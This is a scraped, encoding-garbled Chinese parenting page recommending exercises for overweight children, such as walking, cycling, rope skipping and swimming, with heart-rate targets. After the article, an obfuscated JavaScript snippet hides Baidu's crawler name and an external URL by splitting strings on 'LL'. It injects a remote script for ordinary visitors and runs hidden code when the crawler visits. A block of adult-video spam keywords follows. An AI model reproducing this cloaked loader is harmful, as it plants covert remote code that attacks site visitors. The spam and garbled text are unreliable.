當(dāng)前位置:首頁(yè) > 母嬰 > 育兒知識(shí) > 正文

適合孩子減肥的運(yùn)動(dòng)有哪些

2017-04-11 09:14:36  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):小孩子運(yùn)動(dòng)的話主要的目的實(shí)際上是要控制體重,飲食上的控制也是十分重要的,不過(guò)運(yùn)動(dòng)的話適合孩子的也有很多。比如走路就是一種方便快捷的

小孩子運(yùn)動(dòng)的話主要的目的實(shí)際上是要控制體重,飲食上的控制也是十分重要的,不過(guò)運(yùn)動(dòng)的話適合孩子的也有很多。比如走路就是一種方便快捷的方法,一般在晚上吃完晚飯之后走走,每個(gè)星期至少要有五天這樣,這種方法一般比較適合特別胖的孩子或者是身體虛弱的孩子。還有的就是騎自行車了,也可以,或者是跳繩,這個(gè)就不受地域限制了。

步行:

速度,80-100米/分鐘。從第次30-40分鐘逐漸增加至60分鐘,時(shí)間安排在晚飯后。每天一次,每周五天。心率控制在85-110次/分鐘。同時(shí)每晚睡前可配合做兒童減肥操1次。此處方適合體質(zhì)較弱的肥胖兒或中重度肥胖兒。

騎自行車:

速度180-200米/分鐘,每次騎20-30分鐘,每天1-2次,時(shí)間可分別安排在上午10-11時(shí)/下午4-6時(shí),每周5天。要求心率達(dá)到90-100次/分鐘。同時(shí)每天可配合跳繩、踢毽或做減肥操1次。

跳繩或踢毽:

每天5組,每組連續(xù)跳或踢5分鐘,組間休息1分鐘,每周跳或踢6天。心率控制在120-130次/分鐘。另外,每天可配合低強(qiáng)度的散步或做操。

還有的可以嘗試一下爬樓梯,不過(guò)注意中度以上肥胖的孩子不要選這個(gè)方法,會(huì)對(duì)腿部關(guān)節(jié)有傷害。有一種適合所有肥胖孩子的運(yùn)動(dòng)就是游泳了,這一種相同時(shí)間內(nèi)所運(yùn)動(dòng)的量要大得多,還是全身性的運(yùn)動(dòng),非常適合肥胖的孩子。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产麻豆剧传媒精品国产免费| 精品久久久久中文字| 天堂精品高清1区2区3区| 卡一卡2卡3卡精品网站| 精品剧情v国产在线麻豆| 国产精品va一区二区三区| 一本大道无码人妻精品专区| HEYZO无码综合国产精品| 成人精品一区二区三区中文字幕| 亚洲级αV无码毛片久久精品| 日韩精品免费在线视频| 亚洲国产精品自在线一区二区| 亚洲中文久久精品无码1| 亚洲欧美国产精品专区久久| 在线观看亚洲精品专区| 国产精品美女网站| 久久青草精品一区二区三区| 久久精品国产亚洲AV高清热| 2020国产精品永久在线| 国产精品亚洲天堂| 中文字幕日韩精品有码视频| 久久国产精品萌白酱免费| 久久精品国产99国产精品导航 | 亚洲精品福利网站| 国产精品久久久香蕉| 国产成人精品999在线| 久久青青草原精品国产不卡| 久久丫精品久久丫| 国产精品亚洲一区二区麻豆| 国产一精品一aⅴ一免费| 曰韩精品无码一区二区三区 | 亚洲精品少妇30p| 久9视频这里只有精品| 在线精品国精品国产不卡| 99精品国产一区二区三区| 精品无码AV一区二区三区不卡| 国精品产区WNW2544| 精品无码人妻一区二区三区不卡| 久久久久成人精品免费播放动漫 | 精品无码三级在线观看视频| 少妇人妻偷人精品无码视频|